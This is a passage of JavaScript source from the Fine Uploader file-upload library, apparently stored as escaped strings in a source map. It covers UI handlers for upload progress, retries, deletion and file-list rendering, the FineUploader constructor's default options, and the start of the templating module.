onGetUploadStatus: function(fileId) {\n                    return self.getUploads({id: fileId}).status;\n                },\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                },\n                onSetName: function(id, newName) {\n                    self.setName(id, newName);\n                },\n                onEditingStatusChange: function(id, isEditing) {\n                    var qqInput = qq(templating.getEditInput(id)),\n                        qqFileContainer = qq(templating.getFileContainer(id));\n\n                    if (isEditing) {\n                        qqInput.addClass(\"qq-editing\");\n                        templating.hideFilename(id);\n                        templating.hideEditIcon(id);\n                    }\n                    else {\n                        qqInput.removeClass(\"qq-editing\");\n                        templating.showFilename(id);\n                        templating.showEditIcon(id);\n                    }\n\n                    // Force IE8 and older to repaint\n                    qqFileContainer.addClass(\"qq-temp\").removeClass(\"qq-temp\");\n                }\n            };\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            this._parent.prototype._onUploadStatusChange.apply(this, arguments);\n\n            if (this._isEditFilenameEnabled()) {\n                // Status for a file exists before it has been added to the DOM, so we must be careful here.\n                if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {\n                    this._templating.markFilenameEditable(id);\n                    this._templating.hideEditIcon(id);\n                }\n            }\n\n            if (newStatus === qq.status.UPLOAD_RETRYING) {\n                this._templating.hideRetry(id);\n                this._templating.setStatusText(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);\n            }\n            else if (newStatus === qq.status.UPLOAD_FAILED) {\n                this._templating.hidePause(id);\n            }\n        },\n\n        _bindFilenameInputFocusInEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusInHandler(spec);\n        },\n\n        _bindFilenameInputFocusEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusHandler(spec);\n        },\n\n        _bindFilenameClickEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameClickHandler(spec);\n        },\n\n        _storeForLater: function(id) {\n            this._parent.prototype._storeForLater.apply(this, arguments);\n            this._templating.hideSpinner(id);\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._parent.prototype._onAllComplete.apply(this, arguments);\n            this._templating.resetTotalProgress();\n        },\n\n        _onSubmit: function(id, name) {\n            var file = this.getFile(id);\n\n            if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {\n                this._paramsStore.addReadOnly(id, {\n                    qqpath: file.qqPath\n                });\n            }\n\n            this._parent.prototype._onSubmit.apply(this, arguments);\n            this._addToList(id, name);\n        },\n\n        // The file item has been added to the DOM.\n        _onSubmitted: function(id) {\n            // If the edit filename feature is enabled, mark the filename element as \"editable\" and the associated edit icon\n            if (this._isEditFilenameEnabled()) {\n                this._templating.markFilenameEditable(id);\n                this._templating.showEditIcon(id);\n\n                // If the focusin event is not supported, we must add a focus handler to the newly create edit filename text input\n                if (!this._focusinEventSupported) {\n                    this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));\n                }\n            }\n        },\n\n        // Update the progress bar & percentage as the file is uploaded\n        _onProgress: function(id, name, loaded, total) {\n            this._parent.prototype._onProgress.apply(this, arguments);\n\n            this._templating.updateProgress(id, loaded, total);\n\n            if (Math.round(loaded / total * 100) === 100) {\n                this._templating.hideCancel(id);\n                this._templating.hidePause(id);\n                this._templating.hideProgress(id);\n                this._templating.setStatusText(id, this._options.text.waitingForResponse);\n\n                // If ~last byte was sent, display total file size\n                this._displayFileSize(id);\n            }\n            else {\n                // If still uploading, display percentage - total size is actually the total request(s) size\n                this._displayFileSize(id, loaded, total);\n            }\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._parent.prototype._onTotalProgress.apply(this, arguments);\n            this._templating.updateTotalProgress(loaded, total);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments),\n                templating = this._templating,\n                fileContainer = templating.getFileContainer(id),\n                self = this;\n\n            function completeUpload(result) {\n                // If this file is not represented in the templating module, perhaps it was hidden intentionally.\n                // If so, don't perform any UI-related tasks related to this file.\n                if (!fileContainer) {\n                    return;\n                }\n\n                templating.setStatusText(id);\n\n                qq(fileContainer).removeClass(self._classes.retrying);\n                templating.hideProgress(id);\n\n                if (self.getUploads({id: id}).status !== qq.status.UPLOAD_FAILED) {\n                    templating.hideCancel(id);\n                }\n                templating.hideSpinner(id);\n\n                if (result.success) {\n                    self._markFileAsSuccessful(id);\n                }\n                else {\n                    qq(fileContainer).addClass(self._classes.fail);\n                    templating.showCancel(id);\n\n                    if (templating.isRetryPossible() && !self._preventRetries[id]) {\n                        qq(fileContainer).addClass(self._classes.retryable);\n                        templating.showRetry(id);\n                    }\n                    self._controlFailureTextDisplay(id, result);\n                }\n            }\n\n            // The parent may need to perform some async operation before we can accurately determine the status of the upload.\n            if (parentRetVal instanceof qq.Promise) {\n                parentRetVal.done(function(newResult) {\n                    completeUpload(newResult);\n                });\n\n            }\n            else {\n                completeUpload(result);\n            }\n\n            return parentRetVal;\n        },\n\n        _markFileAsSuccessful: function(id) {\n            var templating = this._templating;\n\n            if (this._isDeletePossible()) {\n                templating.showDeleteButton(id);\n            }\n\n            qq(templating.getFileContainer(id)).addClass(this._classes.success);\n\n            this._maybeUpdateThumbnail(id);\n        },\n\n        _onUploadPrep: function(id) {\n            this._parent.prototype._onUploadPrep.apply(this, arguments);\n            this._templating.showSpinner(id);\n        },\n\n        _onUpload: function(id, name) {\n            var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);\n\n            this._templating.showSpinner(id);\n\n            return parentRetVal;\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            this._parent.prototype._onUploadChunk.apply(this, arguments);\n\n            // Only display the pause button if we have finished uploading at least one chunk\n            // & this file can be resumed\n            if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {\n                this._templating.allowPause(id);\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._parent.prototype._onCancel.apply(this, arguments);\n            this._removeFileItem(id);\n\n            if (this._getNotFinished() === 0) {\n                this._templating.resetTotalProgress();\n            }\n        },\n\n        _onBeforeAutoRetry: function(id) {\n            var retryNumForDisplay, maxAuto, retryNote;\n\n            this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);\n\n            this._showCancelLink(id);\n\n            if (this._options.retry.showAutoRetryNote) {\n                retryNumForDisplay = this._autoRetries[id];\n                maxAuto = this._options.retry.maxAutoAttempts;\n\n                retryNote = this._options.retry.autoRetryNote.replace(/\\{retryNum\\}/g, retryNumForDisplay);\n                retryNote = retryNote.replace(/\\{maxAuto\\}/g, maxAuto);\n\n                this._templating.setStatusText(id, retryNote);\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);\n            }\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {\n                this._templating.resetProgress(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);\n                this._templating.setStatusText(id);\n                this._templating.showSpinner(id);\n                this._showCancelLink(id);\n                return true;\n            }\n            else {\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);\n                this._templating.showRetry(id);\n                return false;\n            }\n        },\n\n        _onSubmitDelete: function(id) {\n            var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);\n\n            this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);\n        },\n\n        _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {\n            if (this._options.deleteFile.forceConfirm) {\n                this._showDeleteConfirm.apply(this, arguments);\n            }\n            else {\n                this._sendDeleteRequest.apply(this, arguments);\n            }\n        },\n\n        _onDeleteComplete: function(id, xhr, isError) {\n            this._parent.prototype._onDeleteComplete.apply(this, arguments);\n\n            this._templating.hideSpinner(id);\n\n            if (isError) {\n                this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);\n                this._templating.showDeleteButton(id);\n            }\n            else {\n                this._removeFileItem(id);\n            }\n        },\n\n        _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {\n            this._templating.hideDeleteButton(id);\n            this._templating.showSpinner(id);\n            this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);\n            this._deleteHandler.sendDelete.apply(this, arguments);\n        },\n\n        _showDeleteConfirm: function(id, uuid, mandatedParams) {\n            /*jshint -W004 */\n            var fileName = this.getName(id),\n                confirmMessage = this._options.deleteFile.confirmMessage.replace(/\\{filename\\}/g, fileName),\n                uuid = this.getUuid(id),\n                deleteRequestArgs = arguments,\n                self = this,\n                retVal;\n\n            retVal = this._options.showConfirm(confirmMessage);\n\n            if (qq.isGenericPromise(retVal)) {\n                retVal.then(function() {\n                    self._sendDeleteRequest.apply(self, deleteRequestArgs);\n                });\n            }\n            else if (retVal !== false) {\n                self._sendDeleteRequest.apply(self, deleteRequestArgs);\n            }\n        },\n\n        _addToList: function(id, name, canned) {\n            var prependData,\n                prependIndex = 0,\n                dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled,\n                record;\n\n            if (this._options.display.prependFiles) {\n                if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {\n                    prependIndex = this._filesInBatchAddedToUi - 1;\n                }\n\n                prependData = {\n                    index: prependIndex\n                };\n            }\n\n            if (!canned) {\n                if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {\n                    this._templating.disableCancel();\n                }\n\n                // Cancel all existing (previous) files and clear the list if this file is not part of\n                // a scaled file group that has already been accepted, or if this file is not part of\n                // a scaled file group at all.\n                if (!this._options.multiple) {\n                    record = this.getUploads({id: id});\n\n                    this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;\n\n                    if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {\n                        this._handler.cancelAll();\n                        this._clearList();\n                        this._handledProxyGroup = null;\n                    }\n                }\n            }\n\n            if (canned) {\n                this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);\n            }\n            else {\n                this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);\n            }\n\n            this._filesInBatchAddedToUi += 1;\n\n            if (canned ||\n                (this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading)) {\n\n                this._displayFileSize(id);\n            }\n        },\n\n        _clearList: function() {\n            this._templating.clearFiles();\n            this.clearStoredFiles();\n        },\n\n        _displayFileSize: function(id, loadedSize, totalSize) {\n            var size = this.getSize(id),\n                sizeForDisplay = this._formatSize(size);\n\n            if (size >= 0) {\n                if (loadedSize !== undefined && totalSize !== undefined) {\n                    sizeForDisplay = this._formatProgress(loadedSize, totalSize);\n                }\n\n                this._templating.updateSize(id, sizeForDisplay);\n            }\n        },\n\n        _formatProgress: function(uploadedSize, totalSize) {\n            var message = this._options.text.formatProgress;\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            r(\"{percent}\", Math.round(uploadedSize / totalSize * 100));\n            r(\"{total_size}\", this._formatSize(totalSize));\n            return message;\n        },\n\n        _controlFailureTextDisplay: function(id, response) {\n            var mode, responseProperty, failureReason;\n\n            mode = this._options.failedUploadTextDisplay.mode;\n            responseProperty = this._options.failedUploadTextDisplay.responseProperty;\n\n            if (mode === \"custom\") {\n                failureReason = response[responseProperty];\n                if (!failureReason) {\n                    failureReason = this._options.text.failUpload;\n                }\n\n                this._templating.setStatusText(id, failureReason);\n\n                if (this._options.failedUploadTextDisplay.enableTooltip) {\n                    this._showTooltip(id, failureReason);\n                }\n            }\n            else if (mode === \"default\") {\n                this._templating.setStatusText(id, this._options.text.failUpload);\n            }\n            else if (mode !== \"none\") {\n                this.log(\"failedUploadTextDisplay.mode value of '\" + mode + \"' is not valid\", \"warn\");\n            }\n        },\n\n        _showTooltip: function(id, text) {\n            this._templating.getFileContainer(id).title = text;\n        },\n\n        _showCancelLink: function(id) {\n            if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {\n                this._templating.showCancel(id);\n            }\n        },\n\n        _itemError: function(code, name, item) {\n            var message = this._parent.prototype._itemError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _batchError: function(message) {\n            this._parent.prototype._batchError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _setupPastePrompt: function() {\n            var self = this;\n\n            this._options.callbacks.onPasteReceived = function() {\n                var message = self._options.paste.namePromptMessage,\n                    defaultVal = self._options.paste.defaultName;\n\n                return self._options.showPrompt(message, defaultVal);\n            };\n        },\n\n        _fileOrBlobRejected: function(id, name) {\n            this._totalFilesInBatch -= 1;\n            this._parent.prototype._fileOrBlobRejected.apply(this, arguments);\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            this._totalFilesInBatch = items.length;\n            this._filesInBatchAddedToUi = 0;\n            this._parent.prototype._prepareItemsForUpload.apply(this, arguments);\n        },\n\n        _maybeUpdateThumbnail: function(fileId) {\n            var thumbnailUrl = this._thumbnailUrls[fileId],\n                fileStatus = this.getUploads({id: fileId}).status;\n\n            if (fileStatus !== qq.status.DELETED &&\n                (thumbnailUrl ||\n                this._options.thumbnails.placeholders.waitUntilResponse ||\n                !qq.supportedFeatures.imagePreviews)) {\n\n                // This will replace the \"waiting\" placeholder with a \"preview not available\" placeholder\n                // if called with a null thumbnailUrl.\n                this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);\n            }\n        },\n\n        _addCannedFile: function(sessionData) {\n            var id = this._parent.prototype._addCannedFile.apply(this, arguments);\n\n            this._addToList(id, this.getName(id), true);\n            this._templating.hideSpinner(id);\n            this._templating.hideCancel(id);\n            this._markFileAsSuccessful(id);\n\n            return id;\n        },\n\n        _setSize: function(id, newSize) {\n            this._parent.prototype._setSize.apply(this, arguments);\n\n            this._templating.updateSize(id, this._formatSize(newSize));\n        },\n\n        _sessionRequestComplete: function() {\n            this._templating.addCacheToDom();\n            this._parent.prototype._sessionRequestComplete.apply(this, arguments);\n        }\n    };\n}());\n","/*globals qq */\n/**\n * This defines FineUploader mode, which is a default UI w/ drag & drop uploading.\n */\nqq.FineUploader = function(o, namespace) {\n    \"use strict\";\n\n    var self = this;\n\n    // By default this should inherit instance data from FineUploaderBasic, but this can be overridden\n    // if the (internal) caller defines a different parent.  The parent is also used by\n    // the private and public API functions that need to delegate to a parent function.\n    this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;\n    this._parent.apply(this, arguments);\n\n    // Options provided by FineUploader mode\n    qq.extend(this._options, {\n        element: null,\n\n        button: null,\n\n        listElement: null,\n\n        dragAndDrop: {\n            extraDropzones: [],\n            reportDirectoryPaths: false\n        },\n\n        text: {\n            formatProgress: \"{percent}% of {total_size}\",\n            failUpload: \"Upload failed\",\n            waitingForResponse: \"Processing...\",\n            paused: \"Paused\"\n        },\n\n        template: \"qq-template\",\n\n        classes: {\n            retrying: \"qq-upload-retrying\",\n            retryable: \"qq-upload-retryable\",\n            success: \"qq-upload-success\",\n            fail: \"qq-upload-fail\",\n            editable: \"qq-editable\",\n            hide: \"qq-hide\",\n            dropActive: \"qq-upload-drop-area-active\"\n        },\n\n        failedUploadTextDisplay: {\n            mode: \"default\", //default, custom, or none\n            responseProperty: \"error\",\n            enableTooltip: true\n        },\n\n        messages: {\n            tooManyFilesError: \"You may only drop one file\",\n            unsupportedBrowser: \"Unrecoverable error - this browser does not permit file uploading of any kind.\"\n        },\n\n        retry: {\n            showAutoRetryNote: true,\n            autoRetryNote: \"Retrying {retryNum}/{maxAuto}...\"\n        },\n\n        deleteFile: {\n            forceConfirm: false,\n            confirmMessage: \"Are you sure you want to delete {filename}?\",\n            deletingStatusText: \"Deleting...\",\n            deletingFailedText: \"Delete failed\"\n\n        },\n\n        display: {\n            fileSizeOnSubmit: false,\n            prependFiles: false\n        },\n\n        paste: {\n            promptForName: false,\n            namePromptMessage: \"Please name this image\"\n        },\n\n        thumbnails: {\n            customResizer: null,\n            maxCount: 0,\n            placeholders: {\n                waitUntilResponse: false,\n                notAvailablePath: null,\n                waitingPath: null\n            },\n            timeBetweenThumbs: 750\n        },\n\n        scaling: {\n            hideScaled: false\n        },\n\n        showMessage: function(message) {\n            if (self._templating.hasDialog(\"alert\")) {\n                return self._templating.showDialog(\"alert\", message);\n            }\n            else {\n                setTimeout(function() {\n                    window.alert(message);\n                }, 0);\n            }\n        },\n\n        showConfirm: function(message) {\n            if (self._templating.hasDialog(\"confirm\")) {\n                return self._templating.showDialog(\"confirm\", message);\n            }\n            else {\n                return window.confirm(message);\n            }\n        },\n\n        showPrompt: function(message, defaultValue) {\n            if (self._templating.hasDialog(\"prompt\")) {\n                return self._templating.showDialog(\"prompt\", message, defaultValue);\n            }\n            else {\n                return window.prompt(message, defaultValue);\n            }\n        }\n    }, true);\n\n    // Replace any default options with user defined ones\n    qq.extend(this._options, o, true);\n\n    this._templating = new qq.Templating({\n        log: qq.bind(this.log, this),\n        templateIdOrEl: this._options.template,\n        containerEl: this._options.element,\n        fileContainerEl: this._options.listElement,\n        button: this._options.button,\n        imageGenerator: this._imageGenerator,\n        classes: {\n            hide: this._options.classes.hide,\n            editable: this._options.classes.editable\n        },\n        limits: {\n            maxThumbs: this._options.thumbnails.maxCount,\n            timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs\n        },\n        placeholders: {\n            waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,\n            thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,\n            waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath\n        },\n        text: this._options.text\n    });\n\n    if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);\n    }\n    else if (!qq.supportedFeatures.uploading || (this._options.cors.expected && !qq.supportedFeatures.uploadCors)) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowser);\n    }\n    else {\n        this._wrapCallbacks();\n\n        this._templating.render();\n\n        this._classes = this._options.classes;\n\n        if (!this._options.button && this._templating.getButton()) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._templating.getButton(),\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._setupClickAndEditEventHandlers();\n\n        if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {\n            this._dnd = this._setupDragAndDrop();\n        }\n\n        if (this._options.paste.targetElement && this._options.paste.promptForName) {\n            if (qq.PasteSupport) {\n                this._setupPastePrompt();\n            }\n            else {\n                this.log(\"Paste support module not found.\", \"error\");\n            }\n        }\n\n        this._totalFilesInBatch = 0;\n        this._filesInBatchAddedToUi = 0;\n    }\n};\n\n// Inherit the base public & private API methods\nqq.extend(qq.FineUploader.prototype, qq.basePublicApi);\nqq.extend(qq.FineUploader.prototype, qq.basePrivateApi);\n\n// Add the FineUploader/default UI public & private UI methods, which may override some base methods.\nqq.extend(qq.FineUploader.prototype, qq.uiPublicApi);\nqq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);\n","/* globals qq */\n/* jshint -W065 */\n/**\n * Module responsible for rendering all Fine Uploader UI templates.  This module also asserts at least\n * a limited amount of control over the template elements after they are added to the DOM.\n * Wherever possible, this module asserts total control over template elements present in the DOM.\n *\n * @param spec Specification object used to control various templating behaviors\n * @constructor\n */\nqq.Templating = function(spec) {\n    \"use strict\";\n\n    var FILE_ID_ATTR = \"qq-file-id\",\n        FILE_CLASS_PREFIX = \"qq-file-id-\",\n        THUMBNAIL_MAX_SIZE_ATTR = \"qq-max-size\",\n        THUMBNAIL_SERVER_SCALE_ATTR = \"qq-server-scale\",\n        // This variable is duplicated in the DnD module since it can function as a standalone as well\n        HIDE_DROPZONE_ATTR = \"qq-hide-dropzone\",\n        DROPZPONE_TEXT_ATTR = \"qq-drop-area-text\",\n        IN_PROGRESS_CLASS = \"qq-in-progress\",\n        HIDDEN_FOREVER_CLASS = \"qq-hidden-forever\",\n        fileBatch = {\n            content: document.createDocumentFragment(),\n            map: {}\n        },\n        isCancelDisabled = false,\n        generatedThumbnails = 0,\n        thumbnailQueueMonitorRunning = false,\n        thumbGenerationQueue = [],\n        thumbnailMaxSize = -1,\n        options = {\n            log: null,\n            limits: {\n                maxThumbs: 0,\n                timeBetweenThumbs: 750\n            },\n            templateIdOrEl: \"qq-template\",\n            containerEl: null,\n            fileContainerEl: null,\n            button: null,\n            imageGenerator: null,\n            classes: {\n                hide: \"qq-hide\",\n                editable: \"qq-editable\"\n            },\n            placeholders: {\n                waitUntilUpdate: false,\n                thumbnailNotAvailable: null,\n                waitingForThumbnail: null\n            },\n            text: {\n                paused: \"Paused\"\n            }\n        },\n        selectorClasses = {\n            button: \"qq-upload-button-selector\",\n            alertDialog: \"qq-alert-dialog-selector\",\n            dialogCancelButton: \"qq-cancel-button-selector\",\n            confirmDialog: \"qq-confirm-dialog-selector\",\n            dialogMessage: \"qq-dialog-message-selector\",\n            dialogOkButton: \"qq-ok-button-selector\",\n            promptDialog: \"qq-prompt-dialog-selector\",\n            uploader: \"qq-uploader-selector\",\n            drop: \"qq-upload-drop-area-selector\",\n            list: \"qq-upload-list-selector\",\n            progressBarContainer: \"qq-progress-bar-container-selector\",\n            progressBar: \"qq-progress-bar-selector\",\n            totalProgressBarContainer: \"qq-total-progress-bar-container-selector\",\n            totalProgressBar: \"qq-total-progress-bar-selector\",\n            file: \"qq-upload-file-selector\",\n            spinner: \"qq-upload-spinner-selector\",\n            size: \"qq-upload-size-selector\",\n            cancel: \"qq-upload-cancel-selector\",\n            pause: \"qq-upload-pause-selector\",\n            continueButton: \"qq-upload-continue-selector\",\n            deleteButton: \"qq-upload-delete-selector\",\n            retry: \"qq-upload-retry-selector\",\n            statusText: \"qq-upload-status-text-selector\",\n            editFilenameInput: \"qq-edit-filename-selector\",\n            editNameIcon: \"qq-edit-filename-icon-selector\",\n            dropText: \"qq-upload-drop-area-text-selector\",\n            dropProcessing: \"qq-drop-processing-selector\",\n            dropProcessingSpinner: \"qq-drop-processing-spinner-selector\",\n            thumbnail: \"qq-thumbnail-selector\"\n        },\n        previewGeneration = {},\n        cachedThumbnailNotAvailableImg = new qq.Promise(),\n        cachedWaitingForThumbnailImg = new qq.Promise(),\n        log,\n        isEditElementsExist,\n        isRetryElementExist,\n        templateHtml,\n        container,\n        fileList,\n        showThumbnails,\n        serverScale,\n\n        // During initialization of the templating module we should cache any\n        // placeholder images so we can quickly swap them into the file list on demand.\n        // Any placeholder images that cannot be loaded/found are simply ignored.\n        cacheThumbnailPlaceholders = function() {\n            var notAvailableUrl =  options.placeholders.thumbnailNotAvailable,\n                waitingUrl = options.placeholders.waitingForThumbnail,\n                spec = {\n                    maxSize: thumbnailMaxSize,\n                    scale: serverScale\n                };\n\n            if (showThumbnails) {\n                if (notAvailableUrl) {\n                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedThumbnailNotAvailableImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedThumbnailNotAvailableImg.failure();\n                            log(\"Problem loading 'not available' placeholder image at \" + notAvailableUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedThumbnailNotAvailableImg.failure();\n                }\n\n                if (waitingUrl) {\n                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedWaitingForThumbnailImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedWaitingForThumbnailImg.failure();\n                            log(\"Problem loading 'waiting for thumbnail' placeholder image at \" + waitingUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedWaitingForThumbnailImg.failure();\n                }\n            }\n        },\n\n        // Displays a \"waiting for thumbnail\" type placeholder image\n        // iff we were able to load it during initialization of the templating module.\n        displayWaitingImg = function(thumbnail) {\n            var waitingImgPlacement = new qq.Promise();\n\n            cachedWaitingForThumbnailImg.then(function(img) {\n                maybeScalePlaceholderViaCss(img, thumbnail);\n                /* jshint eqnull:true */\n                if (!thumbnail.src) {\n                    thumbnail.src = img.src;\n                    thumbnail.onload = function() {\n                        thumbnail.onload = null;\n                        show(thumbnail);\n                        waitingImgPlacement.success();\n                    };\n                }\n                else {\n                    waitingImgPlacement.success();\n                }\n            }, function() {\n                // In some browsers (such as IE9 and older) an img w/out a src attribute\n                // are displayed as \"broken\" images, so we should just hide the img tag\n                // if we aren't going to display the \"waiting\" placeholder.\n                hide(thumbnail);\n                waitingImgPlacement.success();\n            });\n\n            return waitingImgPlacement;\n        },\n\n        generateNewPreview = function(id, blob, spec) {\n            var thumbnail = getThumbnail(id);\n\n            log(\"Generating new thumbnail for \" + id);\n            blob.qqThumbnailId = id;\n\n            return options.imageGenerator.generate(blob, thumbnail, spec).then(\n                function() {\n                    generatedThumbnails++;\n                    show(thumbnail);\n                    previewGeneration[id].success();\n                },\n                function() {\n                    previewGeneration[id].failure();\n\n                    // Display the \"not available\" placeholder img only if we are\n                    // not expecting a thumbnail at a later point, such as in a server response.\n                    if (!options.placeholders.waitUntilUpdate) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    }\n                });\n        },\n\n        generateNextQueuedPreview = function() {\n            if (thumbGenerationQueue.length) {\n                thumbnailQueueMonitorRunning = true;\n\n                var queuedThumbRequest = thumbGenerationQueue.shift();\n\n                if (queuedThumbRequest.update) {\n                    processUpdateQueuedPreviewRequest(queuedThumbRequest);\n                }\n                else {\n                    processNewQueuedPreviewRequest(queuedThumbRequest);\n                }\n            }\n            else {\n                thumbnailQueueMonitorRunning = false;\n            }\n        },\n\n        getCancel = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.cancel);\n        },\n\n        getContinue = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.continueButton);\n        },\n\n        getDialog = function(type) {\n            return getTemplateEl(container, selectorClasses[type + \"Dialog\"]);\n        },\n\n        getDelete = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.deleteButton);\n        },\n\n        getDropProcessing = function() {\n            return getTemplateEl(container, selectorClasses.dropProcessing);\n        },\n\n        getEditIcon = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);\n        },\n\n        getFile = function(id) {\n            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);\n        },\n\n        getFilename = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.file);\n        },\n\n        getPause = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.pause);\n        },\n\n        getProgress = function(id) {\n            /* jshint eqnull:true */\n            // Total progress bar\n            if (id == null) {\n                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) ||\n                    getTemplateEl(container, selectorClasses.totalProgressBar);\n            }\n\n            // Per-file progress bar\n            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) ||\n                getTemplateEl(getFile(id), selectorClasses.progressBar);\n        },\n\n        getRetry = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.retry);\n        },\n\n        getSize = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.size);\n        },\n\n        getSpinner = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.spinner);\n        },\n\n        getTemplateEl = function(context, cssClass) {\n            return context && qq(context).getFirstByClass(cssClass);\n        },\n\n        getThumbnail = function(id) {\n            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);\n        },\n\n        hide = function(el) {\n            el && qq(el).addClass(options.classes.hide);\n        },\n\n        // Ensures a placeholder image does not exceed any max size specified\n        // via `style` attribute properties iff <canvas> was not used to scale\n        // the placeholder AND the target <img> doesn't already have these `style` attribute properties set.\n        maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {\n            var maxWidth = placeholder.style.maxWidth,\n                maxHeight = placeholder.style.maxHeight;\n\n            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {\n                qq(thumbnail).css({\n                    maxWidth: maxWidth,\n                    maxHeight: maxHeight\n                });\n            }\n        },\n\n        // Displays a \"thumbnail not available\" type placeholder image\n        // iff we were able to load this placeholder during initialization\n        // of the templating module or after preview generation has failed.\n        maybeSetDisplayNotAvailableImg = function(id, thumbnail) {\n            var previewing = previewGeneration[id] || new qq.Promise().failure(),\n                notAvailableImgPlacement = new qq.Promise();\n\n            cachedThumbnailNotAvailableImg.then(function(img) {\n                previewing.then(\n                    function() {\n                        notAvailableImgPlacement.success();\n                    },\n                    function() {\n                        maybeScalePlaceholderViaCss(img, thumbnail);\n\n                        thumbnail.onload = function() {\n                            thumbnail.onload = null;\n                            notAvailableImgPlacement.success();\n                        };\n\n                        thumbnail.src = img.src;\n                        show(thumbnail);\n                    }\n                );\n            });\n\n            return notAvailableImgPlacement;\n        },\n\n        /**\n         * Grabs the HTML from the script tag holding the template markup.  This function will also adjust\n         * some internally-tracked state variables based on the contents of the template.\n         * The template is filtered so that irrelevant elements (such as the drop zone if DnD is not supported)\n         * are omitted from the DOM.  Useful errors will be thrown if the template cannot be parsed.\n         *\n         * @returns {{template: *, fileTemplate: *}} HTML for the top-level file items templates\n         */\n        parseAndGetTemplate = function() {\n            var scriptEl,\n                scriptHtml,\n                fileListNode,\n                tempTemplateEl,\n                fileListHtml,\n                defaultButton,\n                dropArea,\n                thumbnail,\n                dropProcessing,\n                dropTextEl,\n                uploaderEl;\n\n            log(\"Parsing template\");\n\n            /*jshint -W116*/\n            if (options.templateIdOrEl == null) {\n                throw new Error(\"You MUST specify either a template element or ID!\");\n            }\n\n            // Grab the contents of the script tag holding the template.\n            if (qq.isString(options.templateIdOrEl)) 